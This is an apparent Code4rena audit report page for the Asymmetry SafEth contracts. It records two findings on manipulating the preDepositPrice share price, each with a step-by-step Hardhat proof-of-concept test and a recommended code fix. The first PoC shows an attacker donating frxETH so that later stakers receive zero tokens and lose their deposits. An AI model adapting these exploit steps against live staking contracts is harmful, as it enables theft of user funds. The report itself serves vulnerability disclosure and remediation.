Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 227/246
Findings: 1
Award: $3.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L71-L82 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L97-L100 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L221-L223 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L122-L124 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L93-L95
Malicious user can set preDepositPrice
variable to an arbitrary value, even exceeding maxAmount * 10**18
. This will cause all subsequent users to receive 0 SAFETH
tokens, no matter how much ETH
they deposit. Then, attacker can withdraw all of his SAFETH
tokens and get all the money that users deposited.
The exploit scenario is as follows:
SafEth
contract and all derivatives are deployed by the owner and they are initialised and ready to use.ETH
(0.5
) to SafEth
and then immediately withdraws all but one of the received SAFETH
tokens (1 Wei
equivalent).FRXETH
) by calling submitAndDeposit
on FRX_ETH_MINTER
for > 200 ETH
, so that he gets > 200 FRXETH
in return.FRXETH
tokens to the SfrxEth
contract without interacting with it (by using transfer
function).SafEth
has totalSupply = 1
and underlying value > 200 ETH
. It means that when someone calls SafEth.stake
, preDepositPrice
will be greater than 200 * 10**18 * 10**18 = 200 * 10**36
.SafEth.stake
and wants to stake 200 ETH
. But since preDepositPrice
is so high, mintAmount
will be equal 0
(mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice <= (200 * 10**18 * 10*18) / preDepositPrice < 1
, so will be rounded towards 0
).SafEth.unstake
with his only token and since it is a total supply, he gets in return all of the Alice's ETH
and the money he earlier deposited to SfrxEth
.totalSupply == 0
, preDepositPrice
returns to the original value.Note: Although the given exploit code uses many transactions, Bob could use a smart contract to pack some of them (for example, transactions from the point 2.) in a one transaction so that nobody interrupts him.
The following test illustrates the exploit:
diff --git a/test/SafEth.test.ts b/test/SafEth.test.ts index 9fdfc3d..fe4a7e1 100644 --- a/test/SafEth.test.ts +++ b/test/SafEth.test.ts @@ -2,7 +2,7 @@ import { network, upgrades, ethers } from "hardhat"; import { expect } from "chai"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; -import { BigNumber } from "ethers"; +import { BigNumber, Contract } from "ethers"; import { SafEth } from "../typechain-types"; import { @@ -19,6 +19,7 @@ import { RETH_MAX, WSTETH_ADRESS, WSTETH_WHALE } from "./helpers/constants"; import { derivativeAbi } from "./abi/derivativeAbi"; import { getDifferenceRatio } from "./SafEth-Integration.test"; import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json"; +import { Interface } from "ethers/lib/utils"; describe("Af Strategy", function () { let adminAccount: SignerWithAddress; @@ -50,6 +51,71 @@ describe("Af Strategy", function () { await resetToBlock(initialHardhatBlock); }); + describe("Exploit", function () + { + it("Bob stealing funds from Alice", async () => { + const Bob = (await ethers.getSigners())[1]; + const Alice = (await ethers.getSigners())[2]; + const FRX_ETH_MINTER_ADDRESS = "0xbAFA44EFE7901E04E39Dad13167D089C559c1138"; + const SFRX_ETH_ADDRESS = "0xac3E018457B222d93114458476f3E3416Abbe38F"; + const SFRX_ETH_DERIVATIVE_ADDRESS = await safEthProxy.derivatives(1); + + const depositAmountBob = ethers.utils.parseEther("0.5"); + const depositAmountAlice = ethers.utils.parseEther("200"); + const depositSfrxAmount = ethers.utils.parseEther("210"); + + const IFrxETHMinter = new Interface([ + "function submitAndDeposit(address) external payable returns (uint256)" + ]); + + const ISfrxETH = new Interface([ + "function balanceOf(address) external view returns (uint256)", + "function transfer(address,uint256) external returns (bool)" + ]); + + const frxETHMinter = new Contract(FRX_ETH_MINTER_ADDRESS, IFrxETHMinter, ethers.provider); + const sfrxETH = new Contract(SFRX_ETH_ADDRESS, ISfrxETH, ethers.provider); + + const initialETHBalanceBob = await Bob.getBalance(); + console.log(`Initial Bob's ETH balance is ${ethers.utils.formatEther(initialETHBalanceBob)}.`); + console.log(`Initial Alice's ETH balance is ${ethers.utils.formatEther(await Alice.getBalance())}.`); + + // Bob exchanges 210 ETH for FRXETH + await frxETHMinter.connect(Bob).submitAndDeposit(Bob.address, {value: depositSfrxAmount}); + const frxETHBalanceBob = await sfrxETH.balanceOf(Bob.address); + console.log(`Bob exchanged 210 ETH for FRXETH.`) ; + console.log(`His current FRXETH balance is ${ethers.utils.formatEther(frxETHBalanceBob)}.`); + + // right after deployment of the safEthProxy, Bob stakes minimum amount of ETH (0.5) + // and unstakes all but 1 (1 Wei counterpart) received SAFETH tokens + await safEthProxy.connect(Bob).stake({ value: depositAmountBob }); + await safEthProxy.connect(Bob).unstake((await safEthProxy.balanceOf(Bob.address)).sub(1)); + console.log(`Bob staked 0.5 ETH and unstaked all but 1 (1 Wei counterpart) of his SAFETH tokens.`); + expect(await safEthProxy.balanceOf(Bob.address)).to.equal(1); + + // Bob transfers all of his FRXETH to the SfrxEth (proxy) contract + await sfrxETH.connect(Bob).transfer(SFRX_ETH_DERIVATIVE_ADDRESS, frxETHBalanceBob); + const sfrxEthBalance = await sfrxETH.balanceOf(SFRX_ETH_DERIVATIVE_ADDRESS); + console.log(`Bob transfered all of his FRXETH tokens to the SfrxEth (proxy) contract.`); + console.log(`Current FRXETH balance of SfrxEth is ${ethers.utils.formatEther(sfrxEthBalance)}.`); + + // Alice decides to stake her 200 ETH + await safEthProxy.connect(Alice).stake({ value: depositAmountAlice }); + const safEthBalanceAlice = await safEthProxy.balanceOf(Alice.address); + expect(safEthBalanceAlice).to.equal(0); + console.log(`Alice staked her 200 ETH. She received ${safEthBalanceAlice} SAFETH in return.`); + console.log(`Her current ETH balance is ${ethers.utils.formatEther(await Alice.getBalance())}.`); + console.log(`She lost 200 ETH and cannot get it back since she has no SAFETH tokens.`); + + await safEthProxy.connect(Bob).unstake(1); + const finalETHBalanceBob = await Bob.getBalance(); + console.log(`Bob unstakes his only SAFETH token (1 Wei counterpart) and gets all the ETH in the pool.`); + console.log(`His current ETH balance is ${ethers.utils.formatEther(finalETHBalanceBob)}.`); + console.log(`He gained ${ethers.utils.formatEther(finalETHBalanceBob.sub(initialETHBalanceBob))} ETH.`); + console.log(`He can repeat the attack above since SAFETH price returns to 1 when there are no tokens in the pool.`) + }); + }); + describe("Large Amounts", function () { it("Should deposit and withdraw a large amount with minimal loss from slippage", async function () { const startingBalance = await adminAccount.getBalance();
Visual Studio Code
The bug arises from the fact that the preDepositPrice
variable is calculated using derivatives[i].balance()
which in turn uses IERC20(<ERC20_CONTRACT>).balanceOf
function, which return value may be manipulated by sending some tokens directly to some derivative contract.
The recommended solution is to calculate derivative balance internally in each derivative contract (WstEth
, SfrxEth
and Reth
). It may be done by introducing an additional variable internalBalance
that will be updated when withdraw
or deposit
is called and returned when balance
is called. The following diff illustrates how it could be implemented for SfrxEth
:
diff --git a/SfrxEth.sol.orig b/SfrxEth.sol index 98a89bb..e594aed 100644 --- a/SfrxEth.sol.orig +++ b/SfrxEth.sol @@ -21,6 +21,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable { 0xbAFA44EFE7901E04E39Dad13167D089C559c1138; uint256 public maxSlippage; + uint256 private internalBalance; // As recommended by https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable /// @custom:oz-upgrades-unsafe-allow constructor @@ -70,6 +71,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable { FRX_ETH_CRV_POOL_ADDRESS, frxEthBalance ); + internalBalance -= _amount; uint256 minOut = (((ethPerDerivative(_amount) * _amount) / 10 ** 18) * (10 ** 18 - maxSlippage)) / 10 ** 18; @@ -102,6 +104,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable { uint256 sfrxBalancePost = IERC20(SFRX_ETH_ADDRESS).balanceOf( address(this) ); + internalBalance += (sfrxBalancePost - sfrxBalancePre); return sfrxBalancePost - sfrxBalancePre; } @@ -120,7 +123,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable { @notice - Total derivative balance */ function balance() public view returns (uint256) { - return IERC20(SFRX_ETH_ADDRESS).balanceOf(address(this)); + return internalBalance; } receive() external payable {}
#0 - c4-pre-sort
2023-04-01T08:01:15Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T12:46:50Z
0xSorryNotSorry marked the issue as duplicate of #715
#2 - c4-judge
2023-04-21T14:56:46Z
Picodes marked the issue as satisfactory
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
It is possible to manipulate preDepositPrice
from SafEth.stake
function so that it is 3
(or even more) times higher than expected. It means, for instance, that 1 SAFETH
may be worth 3ETH
. This may confuse users - user who stakes 3 ETH
expects to receive roughly 3 SAFETH
tokens in return instead of 1
. If they unstake all their tokens, they will still get all the money they deposited, but the situation may be confusing to them and they may be afraid that they lost some of their money.
In order for this exploit to happen, the following things have to occur:
ETH
(at least 0.5
) and receives some SAFETH
.1
(1 Wei
equivalent) of his SAFETH
tokens.ETH
(for instance 200
). She receives ~66.67 SAFETH
tokens in return. She may be afraid that she lost some money.The following diff illustrates this scenario:
diff --git a/SafEth.test.ts.orig b/SafEth.test.ts index 9fdfc3d..f8c1339 100644 --- a/SafEth.test.ts.orig +++ b/SafEth.test.ts @@ -50,6 +50,33 @@ describe("Af Strategy", function () { await resetToBlock(initialHardhatBlock); }); + describe("Exploit", function () + { + it("Price manipulation", async () => { + const Bob = (await ethers.getSigners())[1]; + const Alice = (await ethers.getSigners())[2]; + + const depositAmountBob = ethers.utils.parseEther("0.5"); + const depositAmountAlice = ethers.utils.parseEther("200"); + + // Bob stakes 0.5 ETH and immediately unstakes all but 1 (1 Wei counterpart) of his SAFETH tokens + await safEthProxy.connect(Bob).stake({ value: depositAmountBob }); + await safEthProxy.connect(Bob).unstake((await safEthProxy.balanceOf(Bob.address)).sub(1)); + console.log(`Bob staked 0.5 ETH and unstaked all but 1 (1 Wei counterpart) of his SAFETH tokens.`); + expect(await safEthProxy.balanceOf(Bob.address)).to.equal(1); + // safEthProxy now contains 1e-18 of SAFETH token that can be unstaked to get 1e-18 of tokens from each derivative + // so, `preDepositPrice` equals 3 and will remain at that level for subsequent users + + // Alice decides to stake her 200 ETH + // she will only get 1/3 of SAFETH tokens she expects + await safEthProxy.connect(Alice).stake({ value: depositAmountAlice }); + const safEthBalanceAlice = await safEthProxy.balanceOf(Alice.address); + console.log(`Alice staked her 200 ETH.`); + console.log(`She received ${ethers.utils.formatEther(safEthBalanceAlice)} SAFETH in return.`); + expect(safEthBalanceAlice).to.be.lt(ethers.utils.parseEther("70")); + }); + }); + describe("Large Amounts", function () { it("Should deposit and withdraw a large amount with minimal loss from slippage", async function () { const startingBalance = await adminAccount.getBalance();
Visual Studio Code
The problem arises from the fact that SafEth
contract may only have 1e-18
(or other very small amount) of SAFETH
at some point, that may influence SAFETH
price.
The recommended solution to avoid this problem is to change preDepositPrice
in SafEth.stake
only when totalSupply
is greater than some (reasonably) small value, for instance, 1e15
(0.001 ether
) instead of changing it only when totalSupply == 0
. Fixed code may look like this:
diff --git a/SafEth.sol.orig b/SafEth.sol index ebadb4b..2fdd0e4 100644 --- a/SafEth.sol.orig +++ b/SafEth.sol @@ -76,7 +76,7 @@ contract SafEth is uint256 totalSupply = totalSupply(); uint256 preDepositPrice; // Price of safETH in regards to ETH - if (totalSupply == 0) + if (totalSupply < 1e15) preDepositPrice = 10 ** 18; // initializes with a price of 1 else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
#0 - c4-pre-sort
2023-04-04T12:50:30Z
0xSorryNotSorry marked the issue as duplicate of #715
#1 - c4-judge
2023-04-21T14:58:46Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-04-24T21:39:18Z
Picodes changed the severity to 3 (High Risk)